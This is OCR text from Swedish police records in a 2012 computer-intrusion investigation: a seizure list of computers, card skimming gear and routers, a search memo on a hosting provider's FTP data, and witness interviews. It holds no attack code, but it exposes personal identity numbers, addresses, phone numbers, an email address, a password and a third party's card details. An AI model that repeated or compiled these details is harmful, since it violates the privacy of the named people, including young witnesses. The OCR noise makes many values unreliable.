Verkställd av Joakim Noren, Krister Starck, John G Steen- Joakim Noren 
mark, Olle Wahlström och Joakim Persson den 20 1 2-04- 1 5  
07 :06. 

Signerad Joakim Noren 

Resulterade i Beslagsprotokoll: 20 1 2-020 1 -BG l 022 1 .  Joakim N oren 

526 

Signerat av 
Joakim N oren 

Signerat datum 
20 1 2-04- 1 7  

Diarienummer 
020 1 -K8 1 864- 1 2  

Datum 

20 1 2-04- 1 7  08:26 

20 1 2-04- 1 7  08:29 

20 1 2-04- 1 7  08 :29 

20 1 2-04- 1 7  08 :29 

20 1 2-04- 1 7  08 :38 



527 

Beslagsprotoko l l  
Signerat av 

Polismyndighet 

Stockholms län 11 1 1 11 1 11 1 11 1111 1 111 1 1111 11 11111 Il Il 1111 11 1 11 11 1 1 1 11111 1 111 1 1111 1 1 1 1 11 11 111 1 111 Signerat datum 
Verkställande enhet 20 1 2-020 1 -BG 1 022 1 
LU/IT !T-forensisk sektion Diarienummer 

Handläggande enhet 
020 1 -K8 1 864- 1 2  

LU/IT !T-forensisk sektion 

Misstänkt person 

Gustafsson, Bror Olof Mathias, 1 976 1 1 1 7-7234 
Gustafsson, Bror Olof Mathias, 1 976 1 1 1 7-7234 
Plats för verkstälian 

Timmermansvägen 1 4  I , Ludvika 
Beslutat av 

Rasmusson, Henrik, Kammaråklagare 
Rasmusson, Henrik, Kammaråklagare 

Ändamål med åtgärden 

• Kan antagas ha betydelse för utredningen av 
brott 

• Kan antagas vara genom brott någon avhänt 
• Kan antagas vara på grund av brott förverkat 

Domstol för överklagan 

Nacka Tingsrätt 

F öremålspunkter 

Platsbeskrivning 

Datum och klockslag för verkställighet 

20 1 2-04- 1 5  07 :06 

Verkställt av 

Wahlström, Olle, Kriminalinspektör 
Persson, Joakim, Assistent 
Steenmark, John G, Kriminalinspektör 
Starck, Krister, Polisinspektör 
Noren, Joakim, Utredningsassistent 

Brott 

04 1 5  - Dataintrång 

Beslag taget från 

Kan ej anges 

Status 20 12-020 1 -BG 1 022 1 - 1  
WiFi antenn ( l st) På balkong. Fastställd 

Anteckningar: Sprucken i plasten 

20 12-020 1 -BG l 022 1 -2 

Sim-kort ( l st) 

Platsbeskrivning 

I baren 

Anteckningar: Telenor 43906000575828 

20 12-020 1 -BG l 022 1 -3 Platsbeskrivning 

Cd-skiva ( l st) I baren 

Anteckningar: 1 7  st skivor i röd påse. 

Anspråkstagare 

O st. 

status 

Fastställd 

Anspråkstagare 

O st. 

Status 

Fastställd 

Anspråkstagare 

O st. 



Polismyndighet 

Stockholms län 
Verkställande enhet 

LU/IT !T-forensisk sektion 
Handläggande enhet 

LU/IT !T-forensisk sektion 

F öremålspunkter 

20 12-020 1 -BG 1 022 1 -4 
Ipod nano ( l st) 

Fabrikat : Apple 
Färg : Rosa 

Anteckningar: 4GB 

20 1 2-020 1 -BG 1 022 1 -5 
Ipod nano ( l st) 

Fabrikat : Apple 

Bes lagsprotoko l l  

ll l l l l l l l l ll llll l llll llll ll llll l llll llll ll l ll ll l l l lllll l llll llll l l l l ll ll lll l lll 
20 1 2-020 1 -881 022 1 

Platsbeskrivning 

I baren. 

Modell : 

Platsbeskrivning 

I baren. 

Modell : 

Färg : Silvermetallic 
Anteckningar: 4GB 

20 12-020 1 -BG 1 022 1 -6 Platsbeskrivning 

Kuvert ( l st) I bokhylla i vardagsrum. 

528 

Signerat av 

Signerat datum 

Diarienummer 
020 1 -K8 1 864- 1 2  

-

Status 

Fastställd 

Anspråkstagare 

l st. 
Ipod nano 

Status 

Fastställd 

Anspråkstagare 

l st. 
Ipod nano 

Status 

Fastställd 

Anspråkstagare 

O st. 
Anteckningar: Telenor kontant kuvert med SIM-kortsram 0709-756443 

20 1 2-020 1 -BG 1 022 1 -7 Platsbeskrivning Status 

Pärm ( l st) I bokhylla i vardagsrum. Fastställd 

Anspråkstagare 

O st. 
Färg : Svart 

Anteckningar: Diverse papper och kontantkortskuvert (mobil) 

20 1 2-020 1 -BG 1 022 1 -8 Platsbeskrivning Status 

Pärm ( l st) I bokhylla i vardagsrum. Fastställd 

Anspråkstagare 

O st. 
Färg : Grå 

Anteckningar: Innehåller diverse datorpapper. 

20 1 2-020 1 -BG l 022 1 -9 Platsbeskrivning Status 

Minneskort ( l st) På tv-bänk i vardagsrum. Fastställd 

Anspråkstagare 

O st. 
Fabrikat : Sandisk Typ : Memory Stick Pro duo 

Anteckningar: 2GB 



Polismyndighet 

Stockholms län 
Verkställande enhet 

LU/IT !T-forensisk sektion 
Handläggande enhet 

LU/IT !T-forensisk sektion 

F öremålspunkter 

20 12-020 1 -BG 1 022 1 - 1  O 
Minneskort ( l st) 

Fabrikat : INX> 
Anteckningar: 5 12 MB 

20 1 2-020 1 -BG 1 022 1 - 1 1 
Hårddisk ( l st) 

Fabrikat : Fujitsu 
Anteckningar: 60 GB, IDE 

20 1 2-020 1 -BG 1 022 1 - 1 2  
Digital-tv box ( l st) 

Fabrikat : Motorola 

20 1 2-020 1 -BG 1 022 1 - 1 3  
Minneskort ( l st) 

Fabrikat : Transcend 
Anteckningar: 8GB 

20 1 2-020 1 -BG 1 022 1 - 14 
Dator ( l  st) 

Fabrikat : IBM 
Anteckningar: Bärbar 

20 1 2-020 1 -BG 1 022 1 - 1 5  
Bärbar dator ( l st) 

Fabrikat : IBM 

Beslagsprotokol l 

11 1 1 11 1 1 1 1 11 1111 1 11 11 1111 11 1111 1 11 11 111 1 11 1 11 11 1 1 1 11111 1 1111 1111 1 1 1 1 11 11 111 1 111 
20 1 2-020 1 -BG 1  022 1 

Platsbeskrivning 

PÅ tv-bänk i vardagsrum. 

Typ : 

Platsbeskrivning 

P Å tv-bänk i vardagsrum. 

Typ : 

Platsbeskrivning 

PÅ tv-bänk i vardagsrum. 

Modell : 

Platsbeskrivning 

På fönsterbräde i vardagsrum. 

Typ : 

Platsbeskrivning 

Under fönster i vardagsrum. 

Modell : 

Platsbeskrivning 

Under fönster i vardagsrum. 

Modell : 

Anteckningar: Saknar cd-spelare. 

529 

Signerat av 

Signerat datum 

Diarienummer 
020 1 -K8 1 864- 1 2  

Status 

Fastställd 

Anspråkstagare 

O st. 
SecureDigital Card 

status 

Fastställd 

Anspråkstagare 

O st. 
Hårddisk 

status 

Fastställd 

Anspråkstagare 

O st. 
VIP 1 9 1 0-9 

Status 

Fastställd 

Anspråkstagare 

O st. 
SecureDigital Card HC 

Status 

Fastställd 

Anspråkstagare 

O st. 

Thinkpad 

Status 

Fastställd 

Anspråkstagare 

O st. 
Thinkpad 



530 

Beslagsprotoko l l  
Signerat av 

Polismyndighet 

Stockholms län 11 1 1 1 1 1 1 1 1 11 1111 1 111 1 1111 11 1111 1 11 1 1 1111 11 1 11 11 1 1 1 11111 1 1111 1111 11 1 1 11 11 111 1 111 Signerat datum 
Verkställande enhet 

LU/IT !T-forensisk sektion 
Handläggande enhet 

LU/IT !T-forensisk sektion 

F öremålspunkter 

20 12-020 1 -BG 1 022 1 - 1 6  
Bärbar dator ( l st) 

201 2-020 1 -88 1 022 1 

Platsbeskrivning 

I soffan i vardagsrum. 

Diarienummer 
020 1 -K8 1 864- 1 2  

Status 

Fastställd 

Anspråkstagare 

l st. 

Fabrikat : HP Modell : pavillion d v l 000 

Anteckningar: Datorn var igång men skärmsläckaren igång. 

20 12-020 1 -BG l 022 1 - 1 7  Platsbeskrivning Status 

Bärbar dator ( 1 st) På bord i vardagsrum. Fastställd 

Anspråkstagare 

O st. 

Fabrikat : LG Electronics Modell : LGR40 

Anteckningar: Kantstött vid strömtillkopplingen. 

20 1 2-020 1 -BG l 022 1 - 1 8  Platsbeskrivning status 

Minneskort ( 1 st) på vardagsrumsbord. Fastställd 

Fabrikat : MicroSD 
Anteckningar: 2GB 

20 12-020 1 -BG l 022 1 - 1 9  

Bärbar dator ( l st) 
Platsbeskrivning 

På vardagsrumsbord. 

Anspråkstagare 

O st. 

Status 

Fastställd 

Anspråkstagare 

l st. 
Fabrikat : IBM Modell : Thinkpad T60 

Anteckningar: Datorn var igång men skärmsläckare,(lösenord: " fittjuv "). Liveforensics utförd. 
Datorn var i dåligt fysiskt skick. 

20 1 2-020 1 -BG 1 022 1 -20 Platsbeskrivning Status 

Kort ( 1 st) I baren. Fastställd 

Efternamn : Laitinen Förnamn : 

Utfårdat i (land) : Finland Födelset.(ååååmmdd) : 

Anteckningar: l st körkort och l st VISA kort med samma namn. 

Anspråkstagare 

O st. 
Sari Johanna Hannele 
1 9820906 



Polismyndighet 

Stockholms län 
Verkställande enhet 

LU/IT !T-forensisk sektion 
Handläggande enhet 

LU/IT IT-forensisk sektion 

F öremålspunkter 

20 1 2-020 1 -BG 1 022 1 -2 1  
kort ( l st) 

Efternamn : Engvall 

Beslagsprotoko l l  

ll l l l l l ll l ll llll ll ll l llllll llll l l l ll llll ll l ll ll l l l lllll l lll l llll ll l l ll ll lll l l/1 
201 2-020 1 -BG 1 022 1 

Platsbeskrivning 

I baren 

Anteckningar: Svenska spel, oläsbart. 

20 1 2-020 1 -BG l 022 1 -22 Platsbeskrivning 

kort ( l st) I baren. 

Anteckningar: Förmodat hemtillverkat VISA kort 

20 1 2-020 1 -BG 1 022 1 -23 Platsbeskrivning 

kort ( l st) I baren. 

Färg : Vit 
Anteckningar: 40 st Blanka plastkort med magnetremsa. 

20 12-020 1 -BG 1 022 1 -24 Platsbeskrivning 

Kortläsare ( l st) I baren. 

Anteckningar: Kortläsare/skrivare för magnetremsekort. 

20 1 2-020 1 -BG 1 022 1 -25 Platsbeskrivning 

Mobiltelefon ( l st) På vänster nattduksbord i sovrum. 

Fabrikat : Sony Ericsson Modell : Xperia 
Färg : Svart 

Anteckningar: Telefonen var igång, sattes i flightmode. 

20 1 2-020 1 -BG 1 022 1 -26 Platsbeskrivning 

Hårddisk extern ( l st) Garderob i hallen. 

Fabrikat : l omega Typ :  Hårddisk 
Anteckningar: GDHDU2 

53 1 

Signerat av 

Signerat datorn 

Diarienummer 
020 1 -K8 1 864- 1 2  

Status 

Fastställd 

Anspråkstagare 

O st. 

status 

Fastställd 

Anspråkstagare 

O st. 

Status 

Fastställd 

Anspråkstagare 

O st. 

Status 

Fastställd 

Anspråkstagare 

O st. 

status 

Utlämnad 

Anspråkstagare 

l st. 

status 

Fastställd 

Anspråkstagare 

O st. 



Polismyndighet 

Stockholms län 
Verkställande enhet 

LU/IT !T-forensisk sektion 
Handläggande enhet 

LU/IT !T-forensisk sektion 

F öremålspunkter 

20 12-020 1 -BG 1 022 1 -27 
switch ( l st) 

Typ : Switch 
Anteckningar: svart 

20 12-020 1 -BG 1 022 1 -28 
Dockningstation ( l st) 

Fabrikat : IBM 

20 1 2-020 1 -BG 1 022 1 -29 
Bärbar dator ( l st) 

Fabrikat : HP 

20 1 2-020 1 -BG 1 022 1 -30  
Kortläsare ( l st) 

Modell : MSR605 

Beslagsprotoko l l  

201 2-020 1 -BG 1 022 1 

Platsbeskrivning 

Garderob i hallen. 

Platsbeskrivning 

Garderob i hallen. 

Platsbeskrivning 

Garderob i hallen. 

Modell : 

Platsbeskrivning 

Garderob i hallen. 

Anteckningar: kortläsare/skrivare för magnetremsekort, sprucken. 

20 1 2-020 1 -BG 1 022 1 -3 1  Platsbeskrivning 

undersida ( l st) Garderob i hallen. 

Fabrikat : IBM 
Anteckningar: Undersida av bärbar dator 

20 1 2-020 1 -BG 1 022 1 -32 Platsbeskrivning 

Bärbar datorchassi ( l st) Garderob i hallen. 

Fabrikat : A c er 
Anteckningar: Endast chassi, blå. 
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Signerat av 

Signerat datum 

Diarienummer 
020 1 -K8 1 864- 1 2  

Status 

Fastställd 

Anspråkstagare 

O st. 

Status 

Fastställd 

Anspråkstagare 

O st. 

status 

Fastställd 

Anspråkstagare 

O st. 
Compaq 

Status 

Fastställd 

Anspråkstagare 

O st. 

status 

Fastställd 

Anspråkstagare 

O st. 

Status 

Fastställd 

Anspråkstagare 

O st. 



Polismyndighet 

Stockholms län 
Verkställande enhet 

LU/IT !T-forensisk sektion 
Handläggande enhet 

LU/IT !T-forensisk sektion 

F öremålspunkter 

20 1 2-020 1 -BG 1 022 1 -33 
Undersida av bärbar dator ( l st) 

Fabrikat : IBM 

Beslagsprotoko l l  

1 1 1 1 1 11 11 111 1 111 
201 2-020 1 -BG 1 022 1 

Platsbeskrivning 

Garderob i hallen. 

Anteckningar: Undersida av bärbar dator. 

20 1 2-020 1 -BG l 022 1 -34 Platsbeskrivning 

Dockningstation ( l st) I garderob i hallen. 

Fabrikat : IBM 
Anteckningar: Dockningstation 

20 12-020 1 -BG l 022 1 -35  Platsbeskrivning 

Router ( l st) På golvet vid soffa. 
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Signerat av 

Signerat datum 

Diarienummer 
020 1 -K8 1 864- 1 2  

status 

Fastställd 

Anspråkstagare 

O st. 

Status 

Fastställd 

Anspråkstagare 

O st. 

Status 

Fastställd 

Anspråkstagare 

O st. 
Anteckningar: Enheten är sprucken. Antenn saknas . Sitter ihop med beslagspunkt -3 8 .  

20 1 2-020 1 -BG 1 022 1 -36  Platsbeskrivning status 

Router ( l st) På golvet vid soffa. Fastställd 

Anspråkstagare 

O st. 
Fabrikat : L inksys Typ : Router 

Anteckningar: Sitter ihop med beslagspunkt -37 

20 12-020 1 -BG 1 022 1 -3 7  Platsbeskrivning Status 

Triple play box ( l st) På golvet vid soffa. Fastställd 

Anspråkstagare 

O st. 
Fabrikat : In ten o 

Anteckningar: Sitter ihop med beslagspunkt -36 

20 1 2-020 1 -BG 1 022 1 -3 8  Platsbeskrivning Status 

Switch ( l st) På golvet vid soffa. Fastställd 

Anspråkstagare 

O st. 
Fabrikat : HP Typ : Switch 

Modell : ProCurve 
Anteckningar: Sitter ihop med beslagspunkt -3 5 .  



Polismyndighet 

Stockholms län 
Verkställande enhet 

LU/IT !T-forensisk sektion 
Handläggande enhet 

LU/IT !T-forensisk sektion 

F öremålspunkter 

20 1 2-020 1 -BG 1 022 1 -3 9  
Router ( l st) 

Fabrikat : zyxel 
Modell : P-320W 

Beslagsprotoko l l  

1 11 1 1 11 11 111 1 111 
20 1 2-020 1 -BG1  022 1 

Platsbeskrivning 

På golvet under soffa. 

Typ : Router 

Anteckningar: Routem var igång. 

20 1 2-020 1 -BG 1 022 1 -40 Platsbeskrivning 

Mobiltelefon ( l st) Okänt. 

Fabrikat : ZTE Modell : B lade 
Färg : Rosa 

Anteckningar: Spricka i display. Telefonen var igång, sattes i flightmode. 

20 1 2-020 1 -BG 1 022 1 -4 1  Platsbeskrivning 

Dockningstation ( l st) Okänt. 

Fabrikat : lenovo 
Anteckningar: Dockningstation. 

20 1 2-020 1 -BG l 022 1 -42 Platsbeskrivning 

WiFi antenn ( l st) Under fönster i vardagsrum. 

Anteckningar: Yagi antenn 

20 12-020 1 -BG l 022 1 -43 Platsbeskrivning 

WiFi adapter ( l st) Under fönster i vardagsrum. 

Anteckningar: Driver-free WiFi adapter 

Platsbeskrivning 

20 12-020 1 -BG 1 022 1 -44 
På vänster nattduksbord i sovrum. (Då 

Minneskort ( l st) 
fu-ledaren bestämt sig för att begära att 

minneskortet skall förverkas så delas 
beslagspunkten innan den hävs) . 
Ingick i annan föremålspunkt vid verkställandet 

Ingick i föremålspunkt 25 
Typ : Mini SD 
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Signerat av 

Signerat datum 

Diarienummer 
020 1 -K8 1 864- 1 2  

-

Status 

Fastställd 

Anspråkstagare 

O st. 

Status 

Annat avslut 

Anspråkstagare 

l st. 

Status 

Fastställd 

Anspråkstagare 

O st. 

status 

Fastställd 

Anspråkstagare 

O st. 

Status 

Fastställd 

Anspråkstagare 

O st. 

status 

Fastställd 

Anspråkstagare 

O st. 



Polismyndighet 

Stockholms län 
Enhet 

LU/IT !T-forensisk sektion 

Verkställd 
l Akrudl ""'"' 

Grunduppgifter f6r tvångsmedlet 

Plats för verkstälian 

Protokol l  över 
husran nsakan 

Datum och tid för verkställighet 

Digital V en tures Productian Sweden AB 20 12-05- 1 5  1 6 : 30  
ÖSTE RMALM SGATAN 87 D , STOCKHOLM 
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Signerat av 
Robert Pock 

Signerat datum 
20 1 2-05- 1 6  

Diarienummer 
020 1 -K8 1 864- 1 2  

Husrannsakan sker hos misstänkt Personen hos vilken husrannsakan gjordes var närvarande 

Nej Nej 
Beslutat av Verkställt av 

Olin, Henrik, Kammaråklagare Persson, Joakim, Assistent 
Starck, Krister, Polisinspektör 

Ändamål med åtgärden Brott 
• Utröna omständigheter som kan ha betydelse för 04 1 5  - Dataintrång 

utredning om brott 
Omfattning/direktiv 

Eftersöka lagrad information på utrymme som förfogas av användaren Dirox. 
Övriga närvarande vid åtgärden 

Thomas Thulefålt, säkerhetsansvarig 
Övriga uppgifter om verkställighet 

Beslag 

Nej 

Åtgärder 



Polismyndighet 

Stockholms län 
Enhet 

LU/IT !T-forensisk sektion 

Underrättelser m.m. 

Protokol l  över 
h usran nsakan 

Händelse Utfört av 

Beslut fattat av Henrik O lin. Robert Pock 

Signerat Robert Pock 

Verkställd av Joakim Persson och Krister Starck den 20 1 2- Robert Pock 
05- 1 5  1 6 :30 .  

Signerad Robert Pock 
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Signerat av 
Robert Pock 

Signerat datum 
20 1 2-05- 1 6  

Diarienummer 
020 1 -K8 1 864- 1 2  

Datum 

20 1 2-05 - 1 6  1 3 : 1 3  

20 1 2-05- 1 6  1 3 : 1 5  

20 1 2-05- 1 6  1 3 : 1 5  

20 1 2-05- 1 6  1 3 : 1 5  



Polismyndighet 

Stockholms län 
Enhet 

PM 
H usrannsakan Passagen 

LU/SF "AVSTÄLLD" Förmögenhetsgrupp 
Uppgiftslämnare 

Persson, Joakim 
Beslag verkställt 

Nej 
Inträffat på 

Adress 

Material för analys 

Nej 

Östermalmsgatan 87D 

1 1 4 59 Stockholm 
Platsbeskrivn ing 

Spray Passagen 

Mottaget 

Sätt på vi lket uppgift lämnats 

Upprättad av 

Joakim Persson 

Uppg iften avser 

Husrannsakan Passagen 
U ppg ift 

Signerad av 

Signerad datum 

Diarienr 

020 1 -K8 1 864- 1 2  

Datum Tid 

20 1 2-05-22 1 0 :34 

I nträffat mellan 

20 1 2-05- 1 5  1 5 :00 
och 

20 1 2-05- 1 5  1 6 :30  

Mottaget datum Tid 

PM gällande husrannsakan hos Passagen. se, Östermalmsgatan 87D, 1 205 1 5 ,  1 5 .00 
Dag och tid som ovan genomförde undertecknad tillsammans med Krister Starck en 
husrannsakan på Östermalmsgatan 87D i syfte att eftersöka information som lagrats hos 
Passagen.se och som förfogats av användaren Dirox. 

Tomas Tulefålt, säkerhetsansvarig på SprayPassagen hade tidigare på dag som ovan 
informerats om att det ämnades göra en husrannsakan för att eftersöka filer som lagrats på 
passagens FTP-server. 

Tomas berättade att passagens ftp är en plattform som är på väg att fasas ut och inte längre 
tillhandahålls för nya kunder. I normalfallet har användaren endast tillgång till 20MB 
lagringsutrymme men när detta kontrollerades för användaren Dirox upptäcktes det att 
användaren lagrat upp till 3 ,8GB data. Tomas kunde inte ge någon förklaring till hur 
användaren fått tillgång till så mycket utrymme. 

Mikael Jelveby, tekniker på SprayPassagen hjälpte till att exportera ut materialet genom att 
först packa hela lagringsutrymmet till en ( l) fil och därefter flytta över filen till en av 
LKP/ITs gemensamma USB-minnen. 

Till USB-minnet exporterade Tomas även ut de loggfiler som är kopplade till 
användarkontot samt den kontoinformation som SprayPassagen har sparad. 

Tomas informerade om att han kommer att byta lösenord på användarens konto och 
informera kundsupporten om att kontot inte skall återaktiveras eftersom det strider mot 
SprayPassagens användarregler. 
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H usrannsakan Passagen ,  PM,  201 2-05-22 1 0 :34 d iarienr :  020 1 -K8 1 864- 1 2 

Totalt inhämtades 3 ,83GB FTP data, 1 0MB loggfiler samt en sida med kontoinformation. 

538 



Polismyndighet 

Stockholms län 
Enhet 

LU/S Specialbrottsektion 
Hörd person 

Johansson, Anna-karin 

Den hörde är 

Annan 
Tolk 

ID  Styrkt 

Nej 

Brottsmisstanke l Anledning t i l l  förhöret 

539 

Förhör 
Signerat av 

Signerat datum 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

stäl ln ing t i l l  misstänkt - målsägande - vittne 

Språk 

Med anledning av pågående brottsutredning gällande dataintrång och beslutad husrannsakan i hennes 

bostad. 
Underrättad om misstanke Underrättad om rätt t i l l  försvarare (best i FUK 1 2§ iakttagna) 

Försvarare/ombud önskas Försvarare/ombud närvarande 

Förhörsledare 

Dick Didriksson 
Förhörsplats 

Sörängsv. 39  (Söderäng) i Söderbärke 
Förhörsvittne 

Berättelse 

Godtar den försvarare som rätten förordnar 

Förhörsdatum Förhör påbörjat Förhör avslutat 

20 1 2-03-30 07 : 1 2  07 :2 1 
Typ av förhör Förhörssätt 

RB 23 : 6  Ljudbandsförhör 
Utskrivet av 

D.D. 

Anna-Karin Johansson har informerats innan förhöret att beslut om husrannsakan beslutats i 
pågående förundersökning. 
Hon har en son vid namn Jonas Backe, född 1 993 ,  samt en dotter vid namn Julia och som är 
född 1 995 .  De båda bor mestadels hos fadern vid namn Mikael Backe på Skogsrundan l i 
Ludvika. Anledningen är att de båda studerar, Jonas i Ludvika och Julia i Smedjebacken. 
Både Jonas och Julia bor och vistas även hos Anna-Karin till och från. 
Sonen Jonas sov senast över hos henne natten mellan tisdag och onsdag den 27-28 mars 
20 12 .  Hon har inte haft kontakt med honom sedan han åkte till skolan under 
gårdagsmorgonen. Han har eget rum i villans övre plan men vistas som sagt inte ofta hos 
henne eftersom han studerar på ABB i Ludvika. Dottern Julia studerar vård och omsorg i 
Smed j e backen. 
På fråga säger hon att Jonas ibland kan sova över hos en klasskamrat vid namn Hanna 
Milwertz i Ludvika. Hon skall vara i samma ålder som Jonas . 

Någon dator har inte Jonas hos henne. Däremot hos fadern Mikael har han en stationär dator 
samt även skolans bärbara dator. Hon säger att Jonas och fadern Mikael har varsin stationär 
dator. När det gäller bärbara datorn tror hon att Jonas ibland har den med sig hem men är inte 
säker. Om sonen även haft denna med sig när han vistats hos henne är hon också osäker på 
men tror att det kan ha hänt. 

Anna-Karin Johansson arbetar själv som förskollärare i Söderbärke och har även hon en 
dator. Hennes datakunskaper är som hon säger minimala. Hon förklarar att hon kan skriva ut 
dokument och betala räkningar men inte mycket mera. Datorn har hon ärvt och är av äldre 



Förhör med Johansson ,  Anna-kari n ;  201 2-03-30 07 : 1 2  d iar ienr: 020 1 -K8 1 864- 1 2  

modell . Det är bara hon som använder denna dator. Något lösenord när hon loggar in p å  sin 
dator använder hon sig inte av. Hon ändrar sig efter en stund och säger att hon tror att dottern 
Julia och ev. även sonen Jonas vid något tillfålle kan ha använt hennes dator i samband med 
att de varit inne på face-book etc. Detta har dock varit vid ett fåtal tillfållen. 

Hon har inte några andra datamedia i form av cd-skivor, disketter etc . Hon har ett 
USB-minne och på detta har hon sparat ner en del dokument i arbetet i den förening hon 
tillhör i Söderbärke. I övrigt använder hon datorn till att betala räkningar samt i arbetet i sin 
anställning och sådant arbete hon måste ta med sig hem. 

På frågan vad hon känner till om sonen Jonas datakunskaper säger hon "jag tror att dom är 
ganska haj på datorer, alla ungdomar och barn i dag" .  
Hon tror dock att Jonas, med tanke på utbildning och vad ungdomar kan idag, är ganska 
duktig inom data. 
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Polismyndighet 

Stockholms län 
Enhet 

LU/S Specialbrottsektion 
Hörd person 

Palmkvist, INGERGERD 

Den hörde är ID Styrkt 

Vittne Nej 
Tolk 

Brottsmisstanke l Anledning t i l l  förhöret 

Se nedan 

Förhör 
Signerat av 

Signerat datum 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

stäl ln ing t i l l  misstänkt - målsägande - vittne 

Språk 

Underrättad om misstanke Underrättad om rätt t i l l  försvarare (best i FUK 1 2§ iakttagna) 

Försvarare/ombud önskas Försvarare/ombud närvarande 

Förhörsledare 

Ingvar Kjellvås 
Förhörsplats 

Förhörsvittne 

Berättelse 

Anledning till förhöret: 

Godtar den försvarare som rätten förordnar 

Förhörsdatum Förhör påbörjat Förhör avslutat 

20 12-03-30 09 :45 09 :55  
Typ a v  förhör Förhörssätt 

RB 23 :6  Telefonförhör 
Utskrivet av 

Förhörsledaren ringdes upp av Ingergerd som ville meddela en sak som hon glömde bort 
när polisen gjorde husrannsakan och höll förhör med hennes dotter Matilda. 

Ingergerd berättat att för cirka två-tre månader tillbaka inträffade något konstigt med hennes 
stationära dator som fanns i hennes bostad. Samma dator som polisen tog i beslag idag på 
morgonen. 

Mitt i natten hade någon okänd, på okänt sätt, från hennes dator/Hotmailkonto skickat ut mail 
till femton-tjugo personer. 
Ingergerd har ingen aning om hur det gått till. 

Mailet hade ett konstigt ämnesrubrik och det gick inte att öppna. 

Han kan idag inte lämna alla namn på de som fick rnailet men hon kommer ihåg namnen 
Rosmarie Werner och Maria J ans son. 

Ingergerds hotmailadress är/var palmen _pi@hotmail.com. 

Det är bara Ingergerd som har lösenordet till hennes mail. Hon har det bara i huvudet, inte 
uppskrivet någonstans . 

Förhöret avslutat kl 09 .55  

54 1 



Förhör med Palmkvist, I NGERGERD;  201 2-03-30 09:45 d iarienr: 020 1 -K8 1 864- 1 2 
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Uppläst och godkänt 

Ingvar Kjellvås, krinsp 



Polismyndighet 

Stockholms län 
Enhet 

LU/S Specialbrottsektion 
Hörd person 

Frost, Rasmus 

Den hörde är 

Annan 
Tolk 

I D  Styrkt 

Ja 

Brottsmisstanke l Anledning t i l l  förhöret 

Sätt 

okänt 

Förhör 
Signerat av 

Signerat datum 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

stäl ln ing t i l l  misstänkt - målsägande - vittne 

Språk 

Hörd upplysningsvis angående dataintrång i slutet av februari 20 1 2  
Underrättad om misstanke 

Försvarare/ombud önskas 

Förhörsledare 

Tommy Nordström 
Förhörsplats 

skogsrundan l, Ludvika 
Förhörsvittne 

Berättelse 

Underrättad om rätt till försvarare (best i FUK 1 2§ iakttagna) 

Försvarare/ombud närvarande Godtar den försvarare som rätten förordnar 

Förhörsdatum Förhör påbörjat Förhör avslutat 

20 1 2-03-30 08 : 1 0  08 :20 
Typ a v  förhör Förhörssätt 

RB 23 : 6  
Utskrivet av 

Förhör upplysningsvis med Rasmus Frost 93020 1 -09 14  kl 08 . 1 0  den 30 :e  mars . 
Förhör hållet i bostad på Skogsrundan l i Ludvika. 

Anledning till förhöret: Detaljer kring dataintrång under slutet av februari till början av mars . 

Rasmus Frost uppger att han sedan 4-5 månader bor stadigvarande hemma hos Julia. Han 
säger att han varit tillsammans med Julia i ca 8 månader. Han uppger att han går på 
Högbergsskolans F ordonsprogramm. 

På fråga så säger han att han brukar använda sig av intemet och dess tjänster som de flesta i 
hans ålder. Mestadels mail och blocket för att titta på bilar. Han har dock ingen egen dator 
här hemma hos Julia. 

På fråga om hans datakunskaper så uppfattar han dem som skapliga, framförallt på Mae som 
han kan någorlunda. Dock inte ner under skalet vad gäller te.x. terminalkommandon. 
Beträffande Jonas data/Internetkunskaper så tror han dem vara bättre än medelmåttiga men 
inte extrema. 

På fråga om Rasmus vet hur Jonas bekantskapskrets ser ut så säger han att det vet han inte . 
Han känner inte dessa närmare eller vid namn. 

Rasmus har inget ytterligare att tillägga till förhöret varför detsamma avslutas kl 08.20.  
Förhöret är uppläst och godkänt i samband med nedtecknandet 
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Polismyndighet 

Stockholms län 
Enhet 

LU/S Specialbrottsektion 
Hörd person 

Backe, Julia 

Den hörde är 

Annan 
Tolk 

I D  Styrkt 

Ja 

Brottsmisstanke l Anledning till förhöret 

Sätt 

Okänt 

Förhör 
Signerat av 

Signerat datum 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

stäl ln ing t i l l  misstänkt - målsägande - vittne 

Språk 

Hörd upplysningsvis angående dataintrång i slutet av Februari 20 1 2  
Underrättad om misstanke 

Försvarare/ombud önskas 

Förhörsledare 

Tommy Nordström 
Förhörsplats 

Skogsrundan l, Ludvika 
Förhörsvittne 

Berättelse 

Underrättad om rätt till försvarare (best i FUK 1 2§ iakttagna) 

Försvarare/ombud närvarande Godtar den försvarare som rätten förordnar 

Förhörsdatum Förhör påbörjat Förhör avslutat 

20 1 2-03 -30 07:45 08 :06 

Typ av förhör Förhörssätt 

RB 23 : 6  
Utskrivet av 

Förhör upplysningsvis med Julia Backe 950526-9069 den 30 mars kl 07A5 med pappa 
Mikael Backes medgivande. Förhöret hållet i bostaden på Skogsrundan l i Ludvika. 

Anledning till förhöret: Detaljer och omständigheter kring dataintrång under slutet av 
februari till början av mars. 

Julia berättar att hon normalt bor hos sin pappa Mikael på såväl vardag som helg då hon går i 
skola i Smedjebacken på vård&omsorgsprogrammet. Någon gång ibland är hon hemma hos 
sm mamma. 
Vad hon minns så var hon hemma hos pappa under slutet av februari och första veckorna 
under mars . Så även när pappa var bortrest under sportlovet. Under denna period har Julia 
inte märkt något konstigt hemma eller att någon har betett sig annorlunda än vanligt. Hon 
tillfrågas om hennes data/Internetkunskaper och hon upplever sig som ganska dålig på detta. 
Som en vanlig tonåring som kan Facebook, mail och så. Inga mer avancerade kunskaper. 
Dataintrång vet hon inte ens vad det är. 

På fråga så säger hon att Jonas kan mycket mer än henne, men hur mycket mer är hon osäker 
på. Han är inget datafreak upplever hon. Det är inte hennes pojkvän Rasmus Frost heller 
tillägger hon. 
Julia uppger att hon har 3 st bärbara datorer i bostaden som alla har lösenord som bara hon 
känner till. Dessa använder bara hon bortsett från sin skoldator som hennes pojkvän Rasmus 
ibland lånar. 

Julia tillfrågas om vilka som var i bostaden under sportlovet då pappa var borta och hon 
säger att det var hon, Rasmus och Jonas . Jonas hade någon kompis hemma vid ett eller ett 
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par tillfällen, som heter Tomas Gullberg. Tomas är barndomskamrat med Jonas . 

Julia har inget ytterligare att tillägga varför förhöret avslutas kl 08 .06.  Förhöret är uppläst 
och godkänt samtidigt som det nedtecknats . 
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Polismyndighet 

Stockholms län 
